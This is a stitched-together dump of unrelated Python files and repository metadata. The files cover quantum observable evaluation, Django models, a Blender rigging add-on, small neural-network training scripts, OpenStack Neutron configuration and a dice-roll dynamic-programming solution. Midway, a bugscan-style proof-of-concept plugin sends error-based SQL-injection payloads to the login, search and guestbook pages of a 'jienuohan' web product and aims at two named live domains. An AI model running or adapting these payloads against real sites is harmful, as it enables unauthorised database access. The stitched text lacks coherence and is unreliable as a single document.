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#!/usr/bin/env python3 # Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved import unittest from reagent.tensorboardX import SummaryWriterContext class HorizonTestBase(unittest.TestCase): def setUp(self): SummaryWriterContext._reset_globals() def tearDown(self): SummaryWriterContext._reset_globals()

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#!/usr/bin/env python # encoding: utf-8 ''' Created on Aug 29, 2014 @author: tmahrt ''' from setuptools import setup import io setup(name='pyjuliusalign', version='2.0.3', author='Tim Mahrt', author_email='timmahrt@gmail.com', url='https://github.com/timmahrt/pyJuliusAlign', package_dir={'pyjuliusalign': 'pyjuliusalign'}, packages=['pyjuliusalign'], package_data={'pyjuliusalign': ["hiraganaChart.txt", "katakanaChart.txt"]}, license='LICENSE', description='A helper library for doing forced-alignment in Japanese with Julius.', long_description=io.open('README.md', 'r', encoding="utf-8").read(), long_description_content_type='text/markdown', )

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# This code is part of Qiskit. # # (C) Copyright IBM 2021, 2022. # # This code is licensed under the Apache License, Version 2.0. You may # obtain a copy of this license in the LICENSE.txt file in the root directory # of this source tree or at http://www.apache.org/licenses/LICENSE-2.0. # # Any modifications or derivative works of this code must retain this # copyright notice, and modified files need to carry a notice indicating # that they have been altered from the originals. """Evaluator of auxiliary operators for algorithms.""" from typing import Tuple, Union, List import numpy as np from qiskit import QuantumCircuit from qiskit.opflow import ( CircuitSampler, ListOp, StateFn, OperatorBase, ExpectationBase, ) from qiskit.providers import Backend from qiskit.quantum_info import Statevector from qiskit.utils import QuantumInstance from qiskit.utils.deprecation import deprecate_function from .list_or_dict import ListOrDict @deprecate_function( "The eval_observables function has been superseded by the " "qiskit.algorithms.observables_evaluator.estimate_observables function. " "This function will be deprecated in a future release and subsequently " "removed after that.", category=PendingDeprecationWarning, ) def eval_observables( quantum_instance: Union[QuantumInstance, Backend], quantum_state: Union[ Statevector, QuantumCircuit, OperatorBase, ], observables: ListOrDict[OperatorBase], expectation: ExpectationBase, threshold: float = 1e-12, ) -> ListOrDict[Tuple[complex, complex]]: """ Pending deprecation: Accepts a list or a dictionary of operators and calculates their expectation values - means and standard deviations. They are calculated with respect to a quantum state provided. A user can optionally provide a threshold value which filters mean values falling below the threshold. This function has been superseded by the :func:`qiskit.algorithms.observables_evaluator.eval_observables` function. It will be deprecated in a future release and subsequently removed after that. Args: quantum_instance: A quantum instance used for calculations. quantum_state: An unparametrized quantum circuit representing a quantum state that expectation values are computed against. observables: A list or a dictionary of operators whose expectation values are to be calculated. expectation: An instance of ExpectationBase which defines a method for calculating expectation values. threshold: A threshold value that defines which mean values should be neglected (helpful for ignoring numerical instabilities close to 0). Returns: A list or a dictionary of tuples (mean, standard deviation). Raises: ValueError: If a ``quantum_state`` with free parameters is provided. """ if ( isinstance( quantum_state, (QuantumCircuit, OperatorBase) ) # Statevector cannot be parametrized and len(quantum_state.parameters) > 0 ): raise ValueError( "A parametrized representation of a quantum_state was provided. It is not " "allowed - it cannot have free parameters." ) # Create new CircuitSampler to avoid breaking existing one's caches. sampler = CircuitSampler(quantum_instance) list_op = _prepare_list_op(quantum_state, observables) observables_expect = expectation.convert(list_op) observables_expect_sampled = sampler.convert(observables_expect) # compute means values = np.real(observables_expect_sampled.eval()) # compute standard deviations std_devs = _compute_std_devs( observables_expect_sampled, observables, expectation, quantum_instance ) # Discard values below threshold observables_means = values * (np.abs(values) > threshold) # zip means and standard deviations into tuples observables_results = list(zip(observables_means, std_devs)) # Return None eigenvalues for None operators if observables is a list. # None operators are already dropped in compute_minimum_eigenvalue if observables is a dict. return _prepare_result(observables_results, observables) def _prepare_list_op( quantum_state: Union[ Statevector, QuantumCircuit, OperatorBase, ], observables: ListOrDict[OperatorBase], ) -> ListOp: """ Accepts a list or a dictionary of operators and converts them to a ``ListOp``. Args: quantum_state: An unparametrized quantum circuit representing a quantum state that expectation values are computed against. observables: A list or a dictionary of operators. Returns: A ``ListOp`` that includes all provided observables. """ if isinstance(observables, dict): observables = list(observables.values()) if not isinstance(quantum_state, StateFn): quantum_state = StateFn(quantum_state) return ListOp([StateFn(obs, is_measurement=True).compose(quantum_state) for obs in observables]) def _prepare_result( observables_results: List[Tuple[complex, complex]], observables: ListOrDict[OperatorBase], ) -> ListOrDict[Tuple[complex, complex]]: """ Prepares a list or a dictionary of eigenvalues from ``observables_results`` and ``observables``. Args: observables_results: A list of of tuples (mean, standard deviation). observables: A list or a dictionary of operators whose expectation values are to be calculated. Returns: A list or a dictionary of tuples (mean, standard deviation). """ if isinstance(observables, list): observables_eigenvalues = [None] * len(observables) key_value_iterator = enumerate(observables_results) else: observables_eigenvalues = {} key_value_iterator = zip(observables.keys(), observables_results) for key, value in key_value_iterator: if observables[key] is not None: observables_eigenvalues[key] = value return observables_eigenvalues def _compute_std_devs( observables_expect_sampled: OperatorBase, observables: ListOrDict[OperatorBase], expectation: ExpectationBase, quantum_instance: Union[QuantumInstance, Backend], ) -> List[complex]: """ Calculates a list of standard deviations from expectation values of observables provided. Args: observables_expect_sampled: Expected values of observables. observables: A list or a dictionary of operators whose expectation values are to be calculated. expectation: An instance of ExpectationBase which defines a method for calculating expectation values. quantum_instance: A quantum instance used for calculations. Returns: A list of standard deviations. """ variances = np.real(expectation.compute_variance(observables_expect_sampled)) if not isinstance(variances, np.ndarray) and variances == 0.0: # when `variances` is a single value equal to 0., our expectation value is exact and we # manually ensure the variances to be a list of the correct length variances = np.zeros(len(observables), dtype=float) std_devs = np.sqrt(variances / quantum_instance.run_config.shots) return std_devs

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from django import forms # from django.db.models import fields from .models import ElementAddress class NearByReastaurants(forms.ModelForm): class Meta: model = ElementAddress fields = ('element',)

[ "nfilsaraee@gmail.com" ]

nfilsaraee@gmail.com

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dengshilong/test-flask

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#!/usr/bin/env python # pylint: disable=wrong-import-position import os from test_flask import create_app, db from flask_script import Manager, Shell from flask_migrate import Migrate, MigrateCommand from test_flask.models import User, Address app = create_app(os.getenv('FLASK_CONFIG') or 'default') manager = Manager(app) migrate = Migrate(app, db) def make_shell_context(): return dict(app=app, db=db, User=User, Address=Address) manager.add_command("shell", Shell(make_context=make_shell_context)) manager.add_command('db', MigrateCommand) @manager.command def test(): """Run the unit tests.""" import unittest tests = unittest.TestLoader().discover('tests') unittest.TextTestRunner(verbosity=2).run(tests) if __name__ == '__main__': manager.run()

[ "dengshilong1988@gmail.com" ]

dengshilong1988@gmail.com

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/stalker_hud_rig_helper/ui.py

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[]

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PavelBlend/blender-stalker-hud-rig-helper-addon

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import bpy class _ListOp(bpy.types.Operator): bl_idname = 'io_scene_xray.list' bl_label = '' operation = bpy.props.StringProperty() collection = bpy.props.StringProperty() index = bpy.props.StringProperty() def execute(self, context): data = getattr(context, _ListOp.bl_idname + '.data') collection = getattr(data, self.collection) index = getattr(data, self.index) if self.operation == 'add': collection.add().name = '' elif self.operation == 'remove': collection.remove(index) if index > 0: setattr(data, self.index, index - 1) elif self.operation == 'move_up': collection.move(index, index - 1) setattr(data, self.index, index - 1) elif self.operation == 'move_down': collection.move(index, index + 1) setattr(data, self.index, index + 1) return {'FINISHED'} def draw_list_ops(layout, dataptr, propname, active_propname): def operator(operation, icon, enabled=None): lay = layout if (enabled is not None) and (not enabled): lay = lay.split(align=True) lay.enabled = False operator = lay.operator(_ListOp.bl_idname, icon=icon) operator.operation = operation operator.collection = propname operator.index = active_propname layout.context_pointer_set(_ListOp.bl_idname + '.data', dataptr) operator('add', 'ZOOMIN') collection = getattr(dataptr, propname) index = getattr(dataptr, active_propname) operator('remove', 'ZOOMOUT', enabled=(index >= 0) and (index < len(collection))) operator('move_up', 'TRIA_UP', enabled=(index > 0) and (index < len(collection))) operator('move_down', 'TRIA_DOWN', enabled=(index >= 0) and (index < len(collection) - 1)) class BoneList(bpy.types.UIList): def draw_item(self, context, layout, data, item, icon, active_data, active_propname, index): obj = context.object stk_data = obj.data.stalker_rig_helper if stk_data.bone_collection_index == index: icon = 'CHECKBOX_HLT' else: icon = 'CHECKBOX_DEHLT' bone = stk_data.bone_collection[index] row = layout.row() row.label(text='', icon=icon) row.prop_search(bone, 'hand_bone', obj.data, 'bones', text='') wpn_obj = bpy.data.objects.get(stk_data.weapon_armature, None) row.prop_search(bone, 'wpn_bone', wpn_obj.data, 'bones', text='') row.prop_search(bone, 'offset_bone', obj.data, 'bones', text='') class STALKER_HUD_Rig_Helper_Panel(bpy.types.Panel): bl_space_type = "PROPERTIES" bl_region_type = "WINDOW" bl_context = "data" bl_options = {'DEFAULT_CLOSED'} bl_label = 'STALKER HUD Rig Helper' @classmethod def poll(cls, context): if not context.object: return False return context.object.type == 'ARMATURE' def draw(self, context): obj = context.object stk_data = obj.data.stalker_rig_helper lay = self.layout row = lay.row() wpn_obj = bpy.data.objects.get(stk_data.weapon_armature, None) if not wpn_obj: row.prop_search(stk_data, 'weapon_armature', bpy.data, 'objects') return if wpn_obj.type != 'ARMATURE': row.prop_search(stk_data, 'weapon_armature', bpy.data, 'objects') return if wpn_obj.name == obj.name: row.prop_search(stk_data, 'weapon_armature', bpy.data, 'objects') return row.prop_search(stk_data, 'weapon_armature', bpy.data, 'objects') row = lay.row() row.label('Hand Bones') row.label(icon='FORWARD') row.label('Weapon Bones') row.label(icon='FORWARD') row.label('Offset Bones') row = lay.row() col = row.column() col.template_list( 'BoneList', 'name', stk_data, 'bone_collection', stk_data, 'bone_collection_index' ) col = row.column(align=True) draw_list_ops( col, stk_data, 'bone_collection', 'bone_collection_index', ) lay.operator('stalker_rig_helper.tie_weapon') def register(): bpy.utils.register_class(_ListOp) bpy.utils.register_class(BoneList) bpy.utils.register_class(STALKER_HUD_Rig_Helper_Panel) def unregister(): bpy.utils.unregister_class(STALKER_HUD_Rig_Helper_Panel) bpy.utils.unregister_class(BoneList) bpy.utils.unregister_class(_ListOp)

[ "stalkermodkytia@yandex.ru" ]

stalkermodkytia@yandex.ru

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/plugin/11c6ffa2-1596.py

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[]

no_license

izj007/bugscan_poc

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2020-09-22T17:20:50.408078

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#coding:utf-8 from lib.curl import * # -*- coding: utf-8 -*- #author:小光 #refer:http://www.wooyun.org/bugs/wooyun-2010-070091 #refer:http://www.wooyun.org/bugs/wooyun-2010-077673 #refer:http://www.wooyun.org/bugs/wooyun-2010-082926 def assign(service, arg): if service == "jienuohan": return True, arg def audit(arg): payloads = [ 'Web/Login.aspx', 'web/KeySearch.aspx?searchid=1', 'KeySearch.aspx', 'KeySearch.aspx', 'KeySearch.aspx', 'liuyan.aspx', 'liuyan.aspx', 'liuyan.aspx', ] postdatas = [ 'username=1%27%20and%20db_name%281%29%3E1--', 'operat=Search&state=&keyword=1%25%27%20and%20db_name%281%29%3E1--', 'title=1%27%20AND%20db_name%281%29%3E1--', 'author=1%27%20AND%20db_name%281%29%3E1--', 'keyword=1%27%20AND%20db_name%281%29%3E1--', 'LinkTel=1%27%2b%20convert%28int%2C%28db_name%281%29%29%29%20%2b%27', 'Mail=1%27%2b%20convert%28int%2C%28db_name%281%29%29%29%20%2b%27', 'username=1%27%2b%20%28select%20convert%28int%2C%28@@version%29%29%20FROM%20syscolumns%29%20%2b%27' ] for i in range(8): url = arg + payloads[i] code, head, res, errcode, _ = curl.curl2(url,postdatas[i]) if 'master' in res : security_hole(arg+payloads[i]) if __name__ == '__main__': from dummy import * audit(assign('jienuohan','http://www.cnemergency.com/')[1]) audit(assign('jienuohan','http://ctc.hlglzz.com/')[1])

[ "yudekui@wsmtec.com" ]

yudekui@wsmtec.com

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/GBRBM/test_mini_movie.py

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[]

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danathughes/pyNeuralNetwork

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refs/heads/master

2021-01-01T16:30:47.781646

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from RBM import * def get_RBM(): r = RBM(6,2) k = 9 dataset = [[0.9,0.8,0.9,0.1,0.2,0.2], [0.9,0.4,0.8,0.2,0.1,0.2], [0.8,1.0,0.9,0.0,0.1,0.0], [0.1,0.1,0.9,0.8,1.0,0.2], [0.2,0.1,0.9,0.9,0.9,0.1], [0.1,0.2,1.0,0.9,0.8,0.1]] # Train at the following learning rates: print "Training..." learning_rates = [0.1, 0.05, 0.01, 0.005, 0.001, 0.0005, 0.0001] # learning_rates = [0.1] for rate in learning_rates: print "Learning rate =", rate for i in range(100): print ' ' + str(i) + '...', r.train_epoch(dataset, rate, k) err = np.sum([r.free_energy(data) for data in dataset]) print 'Energy = ' + str(err) + '...', PL = r.pseudolikelihood(dataset) print 'Pseudolikelihood = ' + str(PL) + '...', L = r.likelihood(dataset) print 'Likelihood = ' + str(L) + '...', print 'Done' return r, dataset

[ "danathughes@gmail.com" ]

danathughes@gmail.com

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/catalyst/contrib/models/cv/segmentation/blocks/fpn.py

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2023-02-17T22:18:57.257809

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# flake8: noqa # @TODO: code formatting issue for 20.07 release import torch from torch import nn from torch.nn import functional as F from catalyst.contrib.models.cv.segmentation.blocks.core import DecoderBlock class DecoderFPNBlock(DecoderBlock): """@TODO: Docs (add description, `Example`). Contribution is welcome.""" def __init__( self, in_channels: int, enc_channels: int, out_channels: int, in_strides: int = None, upsample_scale: int = 2, interpolation_mode: str = "nearest", align_corners: bool = None, aggregate_first: bool = False, **kwargs ): """ Args: @TODO: Docs. Contribution is welcome. """ self.upsample_scale = upsample_scale self.interpolation_mode = interpolation_mode self.align_corners = align_corners super().__init__( in_channels, enc_channels, out_channels, in_strides, **kwargs ) def _get_block(self): block = nn.Conv2d(self.enc_channels, self.out_channels, kernel_size=1) return block def forward( self, bottom: torch.Tensor, left: torch.Tensor ) -> torch.Tensor: """Forward call.""" x = F.interpolate( bottom, scale_factor=self.upsample_scale, mode=self.interpolation_mode, align_corners=self.align_corners, ) left = self.block(left) x = x + left return x class Conv3x3GNReLU(nn.Module): """@TODO: Docs (add description, `Example`). Contribution is welcome.""" def __init__( self, in_channels, out_channels, upsample=False, upsample_scale: int = 2, interpolation_mode: str = "bilinear", align_corners: bool = True, ): """ Args: @TODO: Docs. Contribution is welcome. """ super().__init__() self.upsample = upsample self.upsample_scale = upsample_scale self.interpolation_mode = interpolation_mode self.align_corners = align_corners self.block = nn.Sequential( nn.Conv2d( in_channels, out_channels, kernel_size=3, stride=1, padding=1, bias=False, ), nn.GroupNorm(32, out_channels), nn.ReLU(inplace=True), ) def forward(self, x: torch.Tensor) -> torch.Tensor: """Forward call.""" x = self.block(x) if self.upsample: x = F.interpolate( x, scale_factor=self.upsample_scale, mode=self.interpolation_mode, align_corners=self.align_corners, ) return x class SegmentationBlock(nn.Module): """@TODO: Docs (add description, `Example`). Contribution is welcome.""" def __init__( self, in_channels: int, out_channels: int, num_upsamples: int = 0 ): """@TODO: Docs. Contribution is welcome.""" super().__init__() blocks = [ Conv3x3GNReLU( in_channels, out_channels, upsample=bool(num_upsamples) ) ] if num_upsamples > 1: for _ in range(1, num_upsamples): # noqa: WPS122 blocks.append( Conv3x3GNReLU(out_channels, out_channels, upsample=True) ) self.block = nn.Sequential(*blocks) def forward(self, x: torch.Tensor) -> torch.Tensor: """Forward call.""" return self.block(x) __all__ = ["DecoderFPNBlock", "Conv3x3GNReLU", "SegmentationBlock"]

[ "noreply@github.com" ]

418sec.noreply@github.com

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2023-07-07T01:07:35.093669

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# encoding: utf-8 from marrow.mongo.document import Document from marrow.mongo.field import ObjectId, String, Embed class Sample(Document): class Nested(Document): name = String() reference = ObjectId() id = ObjectId('_id') nested = Embed(Nested, default=lambda: Nested(), assign=True) from pprint import pprint pprint(Sample.id == None) pprint(Sample.nested.name == "Alice")

[ "bmillham@gmail.com" ]

bmillham@gmail.com

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# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from croniter import croniter from datetime import datetime from oslo_utils import timeutils from karbor import exception from karbor.i18n import _ from karbor.services.operationengine.engine.triggers.timetrigger import \ timeformats class Crontab(timeformats.TimeFormat): def __init__(self, start_time, pattern): self._start_time = start_time self._pattern = pattern super(Crontab, self).__init__(start_time, pattern) @classmethod def check_time_format(cls, pattern): if not pattern: msg = (_("The trigger pattern is None")) raise exception.InvalidInput(msg) try: croniter(pattern) except Exception: msg = (_("The trigger pattern(%s) is invalid") % pattern) raise exception.InvalidInput(msg) def compute_next_time(self, current_time): time = current_time if current_time >= self._start_time else ( self._start_time) return croniter(self._pattern, time).get_next(datetime) def get_min_interval(self): try: t1 = self.compute_next_time(datetime.now()) t2 = self.compute_next_time(t1) return timeutils.delta_seconds(t1, t2) except Exception: return None

[ "Wayne Gong@minbgong-winvm.cisco.com" ]

Wayne Gong@minbgong-winvm.cisco.com

f89a2a68338f83f4a881cb9afc97f86862752b31

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/src/traffic_sign_classifier/model.py

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[]

no_license

ajunlonglive/self-driving-vehicle

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a66746dea5448dcb175ab85a0a46ef60a09d185e

refs/heads/master

2023-05-14T05:46:01.490492

2020-05-26T06:03:30

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import numpy as np import tensorflow as tf from tensorflow.keras import layers def dataset_pipeline(images, labels, input_fn, params, mode="train"): num_classes = tf.constant( np.repeat(params["num_classes"], len(images)).astype(np.int32), dtype=tf.int32 ) tf.assert_equal(tf.shape(images)[0], tf.shape(labels)[0], tf.shape(num_classes)[0]) shuffle_buffer_size = np.int32(images.shape[0]) with tf.name_scope("input_pipeline"): data_pipeline = tf.data.Dataset.from_tensor_slices((images, labels, num_classes)) # We should map the data set first before making batches data_pipeline = data_pipeline.map(input_fn, num_parallel_calls=2) if mode == "train": data_pipeline = data_pipeline.repeat(params["epochs"]) \ .shuffle(buffer_size=shuffle_buffer_size, reshuffle_each_iteration=True) \ .batch(params["batch_size"]) else: data_pipeline = data_pipeline.batch(params["batch_size"]) return data_pipeline class LeNet(tf.Module): def __init__(self, num_classes): self.conv1 = layers.Conv2D(filters=6, kernel_size=(5, 5), strides=1, activation="relu") self.bn1 = layers.BatchNormalization() self.pool1 = layers.MaxPool2D(pool_size=(2, 2), strides=(2, 2)) self.conv2 = layers.Conv2D(filters=16, kernel_size=(5, 5), strides=1, activation="relu") self.bn2 = layers.BatchNormalization() self.pool2 = layers.MaxPool2D(pool_size=(2, 2), strides=(2, 2)) self.flatten = layers.Flatten() self.dense = layers.Dense(120, activation="relu") self.dense2 = layers.Dense(84, activation="relu") self.logits = layers.Dense(num_classes) def __call__(self, features): out = self.conv1(features) # out = self.bn1(out) # print('out.shape: ', out.shape) out = self.pool1(out) # print('out.shape: ', out.shape) out = self.conv2(out) # out = self.bn2(out) # print('out.shape: ', out.shape) out = self.pool2(out) # print('out.shape: ', out.shape) out = self.flatten(out) # print('out.shape: ', out.shape) out = self.dense(out) # print('out.shape: ', out.shape) out = self.logits(out) # print("logits: ", out.shape) return out

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sardhendumishra@gmail.com

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# -*- coding: utf-8 -*- from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('lists', '0004_more_help_text'), ] operations = [ migrations.AddField( model_name='translationslist', name='language', field=models.CharField(blank=True, max_length=8, null=True, help_text=b'You can select the language to learn for this list, or leave it blank for a mixed-language list.', choices=[(b'en-gb', 'English (British)'), (b'zh-cn', 'Chinese (simplified Mandarin)'), (b'de', 'German'), (b'nl', 'Dutch')]), preserve_default=True, ), ]

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mark@rafiki

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# # file: fmnist_momentum.py # # Train and test the small 14x14 FMNIST dataset. # # RTK, 03-Feb-2021 # Last update: 19-Feb-2021 # ################################################################ from sklearn.metrics import matthews_corrcoef import numpy as np from NNm import * # Load, reshape, and scale the data x_train = np.load("../dataset/fmnist_train_images_small.npy")/255 x_test = np.load("../dataset/fmnist_test_images_small.npy")/255 y_train = np.load("../dataset/fmnist_train_labels_vector.npy") y_test = np.load("../dataset/fmnist_test_labels.npy") x_train = x_train.reshape(x_train.shape[0], 1, 14*14) x_test = x_test.reshape(x_test.shape[0], 1, 14*14) # Build the network using sigmoid activations net = Network(verbose=True) net.add(FullyConnectedLayer(14*14, 100, momentum=0.9)) net.add(ActivationLayer()) net.add(FullyConnectedLayer(100, 50, momentum=0.9)) net.add(ActivationLayer()) net.add(FullyConnectedLayer(50, 10, momentum=0.9)) net.add(ActivationLayer()) # Loss and train net.fit(x_train, y_train, minibatches=40000, learning_rate=0.2) # Build the confusion matrix using the test set predictions out = net.predict(x_test) pred = np.array(out)[:,0,:] cm = np.zeros((10,10), dtype="uint32") for i in range(len(y_test)): cm[y_test[i],np.argmax(out[i])] += 1 # Show the results print() print(np.array2string(cm)) print() print("accuracy = %0.7f" % (np.diag(cm).sum() / cm.sum(),)) print("MCC = %0.7f" % matthews_corrcoef(y_test, np.argmax(pred, axis=1))) print()

[ "oneelkruns@hotmail.com" ]

oneelkruns@hotmail.com

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# Copyright 2011 VMware, Inc. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. """ Routines for configuring Neutron """ import os from oslo.config import cfg from oslo.db import options as db_options from oslo import messaging from paste import deploy from neutron.api.v2 import attributes from neutron.common import utils from neutron.openstack.common import log as logging from neutron import version LOG = logging.getLogger(__name__) core_opts = [ cfg.StrOpt('bind_host', default='0.0.0.0', help=_("The host IP to bind to")), cfg.IntOpt('bind_port', default=9696, help=_("The port to bind to")), cfg.StrOpt('api_paste_config', default="api-paste.ini", help=_("The API paste config file to use")), cfg.StrOpt('api_extensions_path', default="", help=_("The path for API extensions")), cfg.StrOpt('policy_file', default="policy.json", help=_("The policy file to use")), cfg.StrOpt('auth_strategy', default='keystone', help=_("The type of authentication to use")), cfg.StrOpt('core_plugin', help=_("The core plugin Neutron will use")), cfg.ListOpt('service_plugins', default=[], help=_("The service plugins Neutron will use")), cfg.StrOpt('base_mac', default="fa:16:3e:00:00:00", help=_("The base MAC address Neutron will use for VIFs")), cfg.IntOpt('mac_generation_retries', default=16, help=_("How many times Neutron will retry MAC generation")), cfg.BoolOpt('allow_bulk', default=True, help=_("Allow the usage of the bulk API")), cfg.BoolOpt('allow_pagination', default=False, help=_("Allow the usage of the pagination")), cfg.BoolOpt('allow_sorting', default=False, help=_("Allow the usage of the sorting")), cfg.StrOpt('pagination_max_limit', default="-1", help=_("The maximum number of items returned in a single " "response, value was 'infinite' or negative integer " "means no limit")), cfg.IntOpt('max_dns_nameservers', default=5, help=_("Maximum number of DNS nameservers")), cfg.IntOpt('max_subnet_host_routes', default=20, help=_("Maximum number of host routes per subnet")), cfg.IntOpt('max_fixed_ips_per_port', default=5, help=_("Maximum number of fixed ips per port")), cfg.IntOpt('dhcp_lease_duration', default=86400, deprecated_name='dhcp_lease_time', help=_("DHCP lease duration (in seconds). Use -1 to tell " "dnsmasq to use infinite lease times.")), cfg.BoolOpt('dhcp_agent_notification', default=True, help=_("Allow sending resource operation" " notification to DHCP agent")), cfg.BoolOpt('allow_overlapping_ips', default=False, help=_("Allow overlapping IP support in Neutron")), cfg.StrOpt('host', default=utils.get_hostname(), help=_("The hostname Neutron is running on")), cfg.BoolOpt('force_gateway_on_subnet', default=False, help=_("Ensure that configured gateway is on subnet")), cfg.BoolOpt('notify_nova_on_port_status_changes', default=True, help=_("Send notification to nova when port status changes")), cfg.BoolOpt('notify_nova_on_port_data_changes', default=True, help=_("Send notification to nova when port data (fixed_ips/" "floatingip) changes so nova can update its cache.")), cfg.StrOpt('nova_url', default='http://127.0.0.1:8774/v2', help=_('URL for connection to nova')), cfg.StrOpt('nova_admin_username', help=_('Username for connecting to nova in admin context')), cfg.StrOpt('nova_admin_password', help=_('Password for connection to nova in admin context'), secret=True), cfg.StrOpt('nova_admin_tenant_id', help=_('The uuid of the admin nova tenant')), cfg.StrOpt('nova_admin_auth_url', default='http://localhost:5000/v2.0', help=_('Authorization URL for connecting to nova in admin ' 'context')), cfg.StrOpt('nova_ca_certificates_file', help=_('CA file for novaclient to verify server certificates')), cfg.BoolOpt('nova_api_insecure', default=False, help=_("If True, ignore any SSL validation issues")), cfg.StrOpt('nova_region_name', help=_('Name of nova region to use. Useful if keystone manages' ' more than one region.')), cfg.IntOpt('send_events_interval', default=2, help=_('Number of seconds between sending events to nova if ' 'there are any events to send.')), # add by j00209498 cfg.StrOpt('cascade_str', default='cascaded', help=_('cascade_str identity cascading openstack or cascaded' 'openstack, value = cascaded or cascading.')), ] core_cli_opts = [ cfg.StrOpt('state_path', default='/var/lib/neutron', help=_("Where to store Neutron state files. " "This directory must be writable by the agent.")), ] # Register the configuration options cfg.CONF.register_opts(core_opts) cfg.CONF.register_cli_opts(core_cli_opts) # Ensure that the control exchange is set correctly messaging.set_transport_defaults(control_exchange='neutron') _SQL_CONNECTION_DEFAULT = 'sqlite://' # Update the default QueuePool parameters. These can be tweaked by the # configuration variables - max_pool_size, max_overflow and pool_timeout db_options.set_defaults(cfg.CONF, connection=_SQL_CONNECTION_DEFAULT, sqlite_db='', max_pool_size=10, max_overflow=20, pool_timeout=10) def init(args, **kwargs): cfg.CONF(args=args, project='neutron', version='%%prog %s' % version.version_info.release_string(), **kwargs) # FIXME(ihrachys): if import is put in global, circular import # failure occurs from neutron.common import rpc as n_rpc n_rpc.init(cfg.CONF) # Validate that the base_mac is of the correct format msg = attributes._validate_regex(cfg.CONF.base_mac, attributes.MAC_PATTERN) if msg: msg = _("Base MAC: %s") % msg raise Exception(msg) def setup_logging(conf): """Sets up the logging options for a log with supplied name. :param conf: a cfg.ConfOpts object """ product_name = "neutron" logging.setup(product_name) LOG.info(_("Logging enabled!")) def load_paste_app(app_name): """Builds and returns a WSGI app from a paste config file. :param app_name: Name of the application to load :raises ConfigFilesNotFoundError when config file cannot be located :raises RuntimeError when application cannot be loaded from config file """ config_path = cfg.CONF.find_file(cfg.CONF.api_paste_config) if not config_path: raise cfg.ConfigFilesNotFoundError( config_files=[cfg.CONF.api_paste_config]) config_path = os.path.abspath(config_path) LOG.info(_("Config paste file: %s"), config_path) try: app = deploy.loadapp("config:%s" % config_path, name=app_name) except (LookupError, ImportError): msg = (_("Unable to load %(app_name)s from " "configuration file %(config_path)s.") % {'app_name': app_name, 'config_path': config_path}) LOG.exception(msg) raise RuntimeError(msg) return app

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/Dynamic_program/47_dice_roll_simulation.py

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# A die simulator generates a random number from 1 to 6 for each roll. You introduced a constraint to the generator # such that it cannot roll the number i more than rollMax[i] (1-indexed) consecutive times. # # Given an array of integers rollMax and an integer n, return the number of distinct sequences that can be obtained # with exact n rolls. # # Two sequences are considered different if at least one element differs from each other. Since the answer may be too # large, return it modulo 10^9 + 7. # # # # Example 1: # # Input: n = 2, rollMax = [1,1,2,2,2,3] # Output: 34 # Explanation: There will be 2 rolls of die, if there are no # constraints on the die, there are 6 * 6 = 36 possible combinations. In this case, looking at rollMax array, # the numbers 1 and 2 appear at most once consecutively, therefore sequences (1,1) and (2,2) cannot occur, # so the final answer is 36-2 = 34. # Example 2: # # Input: n = 2, rollMax = [1,1,1,1,1,1] # Output: 30 # Example 3: # # Input: n = 3, rollMax = [1,1,1,2,2,3] # Output: 181 # # Constraints: # # 1 <= n <= 5000 # rollMax.length == 6 # 1 <= rollMax[i] <= 15 # 问题：有一个骰子模拟器会每次投掷的时候生成一个 1 到 6 的随机数。 # 不过我们在使用它时有个约束，就是使得投掷骰子时，连续掷出数字i的次数不能超过 rollMax[i]（i 从 1 开始编号）。 # 给定rollMax和n,返回用n次投掷得到的不同点数序列的数目； # 假如两个序列中至少存在一个元素不同，就认为这两个序列是不同的。 # 分析：以n=3为例，扔第一次时，i=1,6种情况.假设dp[i][j]为扔i次时以j结尾时的情况 # i=2, 由于rollMax[0,1,2]为1，则不能出现11,22,33的情况，而对于以1结尾的情况为y1,y为非1的数，共5种情况。对于以4结尾的，则有x4,共6种。 # 则可以得到dp[2][1,2,3]=5, dp[2][4,5,6]=6, dp[2][7] = sum(dp[2]) = 33 # i=3,对于以1结尾的，则有xy1,x为1-6，y为非1数。考虑到dp[2]有33种分布，而在i=2时，以1结尾的情况dp[2][1]有5种，则dp[3][1]=dp[2]-dp[2][1] # dp[3][1] = dp[3-1] - dp[3-1][1] # 以另一个例子, i=5, rollMax[5] = 3,以5结尾的情况有如下几种： # xxxy5 # xxy55 # xy555 # 这几种情况分别对应而dp[4]的所有情况包含了上述三种情况，现在只要减去不满足上面的情况即可。dp[5][5] = dp[4] - dp[4][5] +dp[3] - dp[3][5] + ... # 其中dp[4]包含了xxxx的情况，dp[4] - dp[4][5]即减去xxx5，也就是xxx55的情况， from typing import List class Solution: def dieSimulator(self, n: int, rollMax: List[int]) -> int: faces = len(rollMax) # [n + 1][faces + 1] dimensional dp array dp = [[0 for i in range(faces + 1)] for j in range(n + 1)] # initialization # roll 0 times, the total combination is 1 dp[0][faces] = 1 # roll 1 times, the combinations that end at face j is 1 for j in range(faces): dp[1][j] = 1 # roll 1 times, the total combination is faces = 6 dp[1][faces] = faces # then roll dices from 2 times, until n times for i in range(2, n + 1): # iterate through each column (face) for j in range(faces): # at each [i, j], trying to go up (decrease i) and collect all the sum of previous state for k in range(1, rollMax[j] + 1): if i - k < 0: break dp[i][j] += dp[i - k][faces] - dp[i - k][j] # update total sum of this row dp[i][faces] = sum(dp[i]) return dp[n][faces] % 1000000007

[ "k87974@163.com" ]

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/huaweicloud-sdk-gsl/huaweicloudsdkgsl/v3/model/show_real_named_response.py

